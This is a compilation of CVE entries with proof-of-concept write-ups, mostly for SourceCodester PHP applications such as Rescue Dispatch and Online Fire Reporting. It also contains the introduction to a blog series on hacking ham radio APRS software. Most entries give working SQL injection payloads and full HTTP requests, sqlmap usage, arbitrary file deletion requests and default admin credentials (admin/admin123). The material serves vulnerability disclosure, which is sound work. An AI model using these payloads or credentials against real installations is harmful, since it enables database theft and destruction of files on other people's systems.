Rescue Dispatch Management System v1.0 is vulnerable to SQL Injection via /rdms/classes/Master.php?f=delete_respondent_type.

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**Rescue Dispatch Management System v1.0 by oretnom23 has SQL injection**

vendors: https://www.sourcecodester.com/php/15296/rescue-dispatch-management-system-phpoop-free-source-code.html

Vulnerability File: /rdms/classes/Master.php?f=delete\_respondent\_type

Vulnerability location: /rdms/classes/Master.php?f=delete\_respondent\_type, id

\[+\] Payload: id=2' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

POST /rdms/classes/Master.php?f\=delete\_respondent\_type HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: application/json, text/javascript, \*/\*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.19/rdms/admin/?page=respondent\_types
Content-Length: 65
Cookie: PHPSESSID=hkbchcmaitn0d8enhm4jtdjk9q
Connection: close
id=2' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

CVE-2022-31951: bug_report/SQLi-4.md at main · k0xx11/bug_report

Rescue Dispatch Management System v1.0 is vulnerable to Delete any file via /rdms/classes/Master.php?f=delete_img.

**Rescue Dispatch Management System v1.0 by oretnom23 has Delete any file**

vendors: https://www.sourcecodester.com/php/15296/rescue-dispatch-management-system-phpoop-free-source-code.html

Vulnerability File: /rdms/classes/Master.php?f=delete\_img

Vulnerability location: /rdms/classes/Master.php?f=delete\_img, path

The password for the backend login account is: admin/admin123

Payload:

Here we delete the shell.php file in the root directory

POST /rdms/classes/Master.php?f\=delete\_img HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: application/json, text/javascript, \*/\*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.19/rdms/admin/?page=system\_info
Content-Length: 45
Cookie: PHPSESSID=hkbchcmaitn0d8enhm4jtdjk9q
Connection: close
path=C%3A%2Fxampp%2Fhtdocs%2Frdms%2Fshell.php

The file path needs to be encoded by url

Currently, when we do not send a request to delete the shell.php file, the shell.php file is still in the root directory of the website

The response package shows that the deletion was successful. Let's go to the root directory to see if the shell.php file still exists.

By this time, shell.php has been deleted.

CVE-2022-31945: bug_report/delet-file-1.md at main · k0xx11/bug_report

Rescue Dispatch Management System v1.0 is vulnerable to SQL Injection via /rdms/classes/Master.php?f=delete_report.

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**Rescue Dispatch Management System v1.0 by oretnom23 has SQL injection**

vendors: https://www.sourcecodester.com/php/15296/rescue-dispatch-management-system-phpoop-free-source-code.html

Vulnerability File: /rdms/classes/Master.php?f=delete\_report

Vulnerability location: /rdms/classes/Master.php?f=delete\_report, id

\[+\] Payload: id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

POST /rdms/classes/Master.php?f\=delete\_report HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: application/json, text/javascript, \*/\*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.19/rdms/admin/?page=incident\_reports
Content-Length: 65
Cookie: PHPSESSID=hkbchcmaitn0d8enhm4jtdjk9q
Connection: close
id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

CVE-2022-31948: bug_report/SQL-1.md at main · k0xx11/bug_report

Rescue Dispatch Management System v1.0 is vulnerable to SQL Injection via /rdms/classes/Master.php?f=delete_team.

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Cannot retrieve contributors at this time

**Rescue Dispatch Management System v1.0 by oretnom23 has SQL injection**

vendors: https://www.sourcecodester.com/php/15296/rescue-dispatch-management-system-phpoop-free-source-code.html

Vulnerability File: /rdms/classes/Master.php?f=delete\_team

Vulnerability location: /rdms/classes/Master.php?f=delete\_team, id

\[+\] Payload: id=2' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

POST /rdms/classes/Master.php?f\=delete\_team HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: application/json, text/javascript, \*/\*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.19/rdms/admin/?page=teams
Content-Length: 65
Cookie: PHPSESSID=hkbchcmaitn0d8enhm4jtdjk9q
Connection: close
id=2' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

CVE-2022-31946: bug_report/SQL-2.md at main · k0xx11/bug_report

Badminton Center Management System V1.0 is vulnerable to SQL Injection via parameter 'id' in /bcms/admin/court_rentals/update_status.php.

1.  Description:

Badminton Center Management System allows SQL Injection via parameter 'id' in /bcms/admin/court\_rentals/update\_status.php. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

2.  Proof of Concept:

In Burpsuite intercept the request from the affected page with 'customer\_number' parameter and save it like poc.txt Then run SQLmap to extract the data from the database:

sqlmap.py -r poc.txt --dbms=mysql

3.  Example payloads:

Parameter: id (GET)

    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: id=test' AND 7374=(SELECT (CASE WHEN (7374=7374) THEN 7374 ELSE (SELECT 6961 UNION SELECT 8511) END))-- -&status=3
    
    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: id=test' AND EXTRACTVALUE(8482,CONCAT(0x5c,0x71627a6b71,(SELECT (ELT(8482=8482,1))),0x71626a6271))-- ukNa&status=3
    
    Type: time-based blind
    Title: MySQL > 5.0.12 AND time-based blind (heavy query)
    Payload: id=test' AND 9267=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C)-- JYkT&status=3
    
    Type: UNION query
    Title: Generic UNION query (NULL) - 12 columns
    Payload: id=test' UNION ALL SELECT CONCAT(0x71627a6b71,0x76455372796b6b59767845715272496c626e7a4b6b5a4c664f48736258654b6359576c52474b5356,0x71626a6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&status=3
    

4.  Burpsuite request:

GET /bcms/admin/court\_rentals/update\_status.php?id=2%20%2b%20((SELECT%201%20FROM%20(SELECT%20SLEEP(25))A))%2f\*%27XOR(((SELECT%201%20FROM%20(SELECT%20SLEEP(25))A)))OR%27%7c%22XOR(((SELECT%201%20FROM%20(SELECT%20SLEEP(25))A)))OR%22\*%2f%20%2f\*%2042ef7f74-0853-4e23-9722-b42223e2b1b9%20\*%2f&status=3 HTTP/1.1 Host: localhost Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,_/_;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-us,en;q=0.5 Cache-Control: no-cache Cookie: PHPSESSID=0oviirpbcg8rf511ik98trenv1 Referer: http://localhost/bcms/admin/court\_rentals/update\_status.php?id=2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36

CVE-2022-30490: GitHub - yasinyildiz26/Badminton-Center-Management-System

** UNSUPPORTED WHEN ASSIGNED ** An issue was discovered in WinAPRS 2.9.0. A buffer overflow in DIGI address processing for VHF KISS packets allows a remote attacker to cause a denial of service (daemon crash) via a malicious AX.25 packet over the air. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.

Hackers have been breaching computer system defenses for more than half a century, and the networks they use to exploit those weaknesses have been around for far longer than that. With the internet replacing most wirelines and wavelengths, and with the rise of cybercrime sophistication from petty thieves to organized nation-states, the threat landscape has exploded over the last 20 years. Yet one of the oldest network protocols – amateur or “ham” radio – is still used to this day in emergency communications during times of war and disaster, and to this day can still be used in binary exploitation.

Ham radio evokes an image of old guys turning knobs on vintage, tube radios and talking to other hobbyists about their configurations. Nowadays, radios are getting much more complicated, and with the built-in ability to perform digital communications, the possibilities are almost limitless. You can hook them up to computers to do anything from text messaging and email to sharing images and tracking weather balloons. There’s still something magical about connecting to a device or contacting someone across the planet without being hooked up to the internet or a phone line.

I recently passed the Offensive Security Exploit Developer (OSED) exam and wanted to apply what I’d learned to real-world security problems. I’m always looking for ways to improve my threat modeling, attack simulation, and penetration testing skills, and thought that ham radio would be a fun environment to explore. Amateur radio equipment and frequency spectrums are accessible all over the world and are instructive for a blog series that shows how the vulnerabilities of older technologies can be leveraged with today’s hacking fundamentals. With ham radio as our testing and proving ground, we’ll look at reverse engineering, the creation of custom exploits, and developing skills to bypass security mitigations. We’ll also take a look at writing handmade Windows shellcode and adopting older techniques to more modern versions of Windows.

**Packet Radio**

I've been messing around with packet radio and various digital modes on and off for years and have wondered if any vulnerabilities exist that could allow an attacker to obtain remote code execution through the airwaves. I always thought it was a fun idea to be able to hack a computer that isn't even hooked up to the internet. Many ham programs are written by enthusiasts and are quite old, so it seemed likely that there would be exploitable vulnerabilities. In my research I decided to focus mainly on vulnerabilities that could lead to remote code or command execution, though if I found other vulnerabilities, I didn't ignore them. I also decided to start by focusing on Windows software, since the OSED exam focused on Windows user-mode exploitation and it's where I have the most experience. I started this project with a specific goal in mind: get a remote shell over ham radio.

As a hacker, I am most interested in the various digital modes that ham radio has to offer. There are many, and for my research I decided to focus on software that uses the AX.25 protocol.

"Packet radio" generally refers to a very specific digital mode of operation that uses the AX.25 protocol. AX.25 is a data-link layer protocol (layer 2 of the OSI model). In this mode, data is split into packets and transmitted over the air. AX.25 has support for different packet types and includes modes that are similar to Transmission Control Protocol (TCP) and User Datagram Protocol (UDP) on Ethernet. In some cases, the protocol can do some error correcting, like TCP. Another mode will just send packets out into the air without waiting for any kind of acknowledgement, like UDP. Windows does not have any built-in way to handle AX.25 traffic, so end-user software would have to do this on its own or it must be abstracted away. The Linux kernel has built-in support for AX.25, so you can potentially set up AX.25 network interfaces that have callsigns for addresses instead of IP addresses.

AX.25 is commonly used today for Automatic Packet Reporting System (APRS), Winlink email over ham radio, Bulletin Board Systems (BBS) operations, and more. It seems it is more generally used for a ham to make a contact with a computer, as opposed to making live contacts with other hams. More information about the AX.25 protocol can be found here: http://www.ax25.net/AX25.2.2-Jul%2098-2.pdf

**Automatic Packet Reporting System (APRS)**

The most common use of AX.25 is with the Automatic Packet Reporting System (APRS). Therefore, I decided to focus first on APRS software for this research project. APRS allows hams to transmit telemetry data such as GPS coordinates, weather data, small generic messages, and more. An APRS station can send out a broadcast message, or it can send a message addressed to another specific station. Since the range on the 2m band isn’t that great, APRS stations can “digipeat” the packets out again. This means that if one station receives a packet, it will retransmit it to send it further away. There are also “IGate” systems which are bridged to the internet via the APRS Internet Service (APRS-IS) backbone (http://www.aprs-is.net). This adds extra usability to the APRS system and means you can transmit data globally using the internet if desired. In fact, you can view APRS traffic anywhere in the world at https://aprs.fi and you don’t even need a license to check it out.

How do APRS stations find each other? How does one station find an IGate to bridge to the internet? You can transmit APRS on basically any amateur frequency for which you are licensed, but around the globe each region generally has an allotted frequency where this traffic is used. In the US, that frequency is 144.390 MHz. Just about anywhere in the country you can tune a radio to this frequency and hear data being transmitted at least every minute or so.

APRS is a protocol that runs on top of AX.25, like how HTTP runs on top of TCP. APRS packets make use of the AX.25 unnumbered information (UI) frames. Since I was going to be reverse engineering APRS software, it made sense to examine APRS data frames to understand their structure. AX.25 UI frames look like this:

  
**Image from** **http://www.aprs.org/doc/APRS101.PDF**

In an AX.25 UI frame, all addresses will be ham radio callsigns with an optional SSID appended to them. If your callsign was K7HAX, your address could be something like K7HAX-14. The digipeater addresses field can contain up to eight digipeater addresses to specify the path the packet should take. A digipeater is a radio station that listens for packets and then retransmits those packets to extend the range. The information field contains user-specified data. APRS makes heavy use of this field and it’s likely to be the most interesting field to play with.

The APRS specification allows for various data types, formats, and encodings. Most of this information is stored in the information field of the AX.25 packet. A generic APRS information field structure looks like this:

  
**Image from** **http://www.aprs.org/doc/APRS101.PDF**

The data type specifies what kind of APRS data follows. Options include GPS position, direction finding, weather information, messages, and more. Here’s a real APRS message I pulled from https://aprs.fi:

:Are you working tonight?

The colon denotes that the APRS data contains a message. The rest of the data is just the plaintext message. In this case the APRS data extension and comment fields are unused. Here’s another example:

\=3319.44S/06012.46W# 144.930MHz. SNDigi

The equal sign denotes that the data contains position data without a timestamp. Immediately following that is the actual position data. Between the two coordinates is a forward slash and immediately following the data is a hash symbol. Combined, these symbols would make “/#”. This data tells the receiving station what type of station sent the message and what symbol or icon to use to display the station on a map.

APRS has two tables full of different symbols (car, truck, bicycle, balloon, etc.). The forward slash specifies which table to use. The hash tells which symbol to use in that table. After the hash symbol is some additional message data which appears to list the transmitting frequency and probably the software or device used to transmit (SNDigi). There’s so much more to APRS than just this but it gives a rough idea of how the packets look and what we can expect APRS software to be doing when decoding messages. More information about the APRS protocol can be found here: http://www.aprs.org/doc/APRS101.PDF

Since APRS is probably the most common packet protocol in use today, and there is no shortage of APRS software to choose from, I decided to start my research here. I focused on Windows-based APRS software that was written in C or C++ so I could continue honing my IDA and WinDbg reversing skills.

**Hardware for Packet Radio**

There is a huge number of combinations of hardware to get on the air with packet, but in general you’ll need three main components: a transceiver, a terminal node controller (TNC), and a computer. You use the computer to interact with the various packet radio software you want to use. The transceiver sends and receives the communications over the radio. The TNC is basically a packet radio modem that sits between the two, converting the data into sound. It works similarly to a dial-up modem, but for radio instead of telephone lines. A TNC is typically a little box that’s hooked up to the computer and the radio. A TNC will often have a built-in microcomputer with its own operating system so you can open a terminal and send and receive messages right from the TNC. My TNC has a built-in mailbox where other hams can leave messages. It can decode APRS messages with its own software and display them in a human-readable format via serial console. Here’s a photo of the hardware I’m using for my receiving station:

****

**Keep It Simple, Stupid! (KISS)**

Each TNC make and model has its own set of commands you must use to send packets, and they may display packets differently to the user. The computer software must therefore understand how to interface with each make and model, which is cumbersome. To remedy this, most TNCs support a mode called KISS (Keep It Simple, Stupid). This mode disables all the “smart” features of the TNC and turns it into a dumb modem. The TNC will simply demodulate the signals from the radio and transmit the raw data back to your PC and vice versa. To simplify things, I’ll be placing my TNC into KISS mode for testing and using it wherever possible.

The important bit to know about the KISS protocol is that the TNC will add a 0xC0 control character to the beginning and end of each packet, and it will expect those characters to be there for any outgoing transmissions. There are also a few other special control characters the TNC will watch for, which is important to be aware of when writing shellcode later. These characters would be considered “bad characters” when writing shellcode and must be avoided. A full description of the KISS protocol can be found here: http://www.ax25.net/kiss.aspx

**Choosing an APRS Program**

The aprs-is.net website has a list of some known APRS client software.

Looking over the list, I figured an older client would be the most likely to contain exploitable memory corruption vulnerabilities. Looking at the various options, I found that the WinAPRS download page said it hadn't been updated since January 14, 2013. I figured that was a good sign that the software was likely not maintained and would therefore contain vulnerabilities. I downloaded the latest version (2.9.0) and got to work.

**Next Steps**

The next post in this series will discuss the reverse engineering process using WinDbg. We’ll dive into the nitty gritty technical details of an exploitable memory corruption vulnerability in WinAPRS including how it was found and why it’s exploitable.

CVE-2022-24700: Hacking Ham Radio: WinAPRS – Part 1

Online Fire Reporting System v1.0 is vulnerable to Delete any file via /ofrs/classes/Master.php?f=delete_img.

**Online Fire Reporting System v1.0 by oretnom23 has Delete any file**

vendors: https://www.sourcecodester.com/php/15346/online-fire-reporting-system-phpoop-free-source-code.html

Vulnerability File: /ofrs/classes/Master.php?f=delete\_img

Vulnerability location: /ofrs/classes/Master.php?f=delete\_img, path

The password for the backend login account is: admin/admin123

Payload:

Here we delete the shell.php file in the root directory

POST /ofrs/classes/Master.php?f\=delete\_img HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: application/json, text/javascript, \*/\*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.19/ofrs/admin/?page=system\_info
Content-Length: 62
Cookie: PHPSESSID=qq2e8htekg3g2rkgtbq38p0jnv
Connection: close
path=C%3A%2Fxampp%2Fhtdocs%2Fofrs%2Fshell.php

The file path needs to be encoded by url

Currently, when we do not send a request to delete the shell.php file, the shell.php file is still in the root directory of the website

The response package shows that the deletion was successful. Let's go to the root directory to see if the shell.php file still exists.

By this time, shell.php has been deleted.

CVE-2022-31973: bug_report/delet-file-1.md at main · k0xx11/bug_report

ChatBot App with Suggestion v1.0 is vulnerable to SQL Injection via /simple_chat_bot/admin/?page=responses/view_response&id=.

**ChatBot App with Suggestion v1.0 by oretnom23 has SQL injection**

The password for the backend login account is: admin/admin123

vendors: https://www.sourcecodester.com/php/15316/chatbot-app-suggestion-phpoop-free-source-code.html

Vulnerability File: /simple\_chat\_bot/admin/?page=responses/view\_response&id=

Vulnerability location: /simple\_chat\_bot/admin/?page=responses/view\_response&id=, id

\[+\] Payload: /simple\_chat\_bot/admin/?page=responses/view\_response&id=8%27%20and%20length(database())%20=11--+ // Leak place ---> id

Current database name: chat\_bot\_db,length is 11

GET /simple\_chat\_bot/admin/?page\=responses/view\_response&id\=8%27%20and%20length(database())%20\=11\--\+ HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=qq2e8htekg3g2rkgtbq38p0jnv
Connection: close

When length (database ()) = 10, Content-Length: 24001 

When length (database ()) = 11, Content-Length: 24317

CVE-2022-31971: bug_report/SQLi-3.md at main · k0xx11/bug_report

Online Fire Reporting System v1.0 is vulnerable to SQL Injection via /ofrs/classes/Master.php?f=delete_team.

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Cannot retrieve contributors at this time

**Online Fire Reporting System v1.0 by oretnom23 has SQL injection**

vendors: https://www.sourcecodester.com/php/15346/online-fire-reporting-system-phpoop-free-source-code.html

Vulnerability File: /ofrs/classes/Master.php?f=delete\_team

Vulnerability location: /ofrs/classes/Master.php?f=delete\_team, id

\[+\] Payload: id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

POST /ofrs/classes/Master.php?f\=delete\_team HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=qq2e8htekg3g2rkgtbq38p0jnv
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

CVE-2022-31977: bug_report/SQLi-3.md at main · k0xx11/bug_report

Online Fire Reporting System v1.0 is vulnerable to SQL Injection via /ofrs/classes/Master.php?f=delete_request.

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Cannot retrieve contributors at this time

**Online Fire Reporting System v1.0 by oretnom23 has SQL injection**

vendors: https://www.sourcecodester.com/php/15346/online-fire-reporting-system-phpoop-free-source-code.html

Vulnerability File: /ofrs/classes/Master.php?f=delete\_request

Vulnerability location: /ofrs/classes/Master.php?f=delete\_request, id

\[+\] Payload: id=6' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

POST /ofrs/classes/Master.php?f\=delete\_request HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=qq2e8htekg3g2rkgtbq38p0jnv
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
id=6' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

Tag

#windows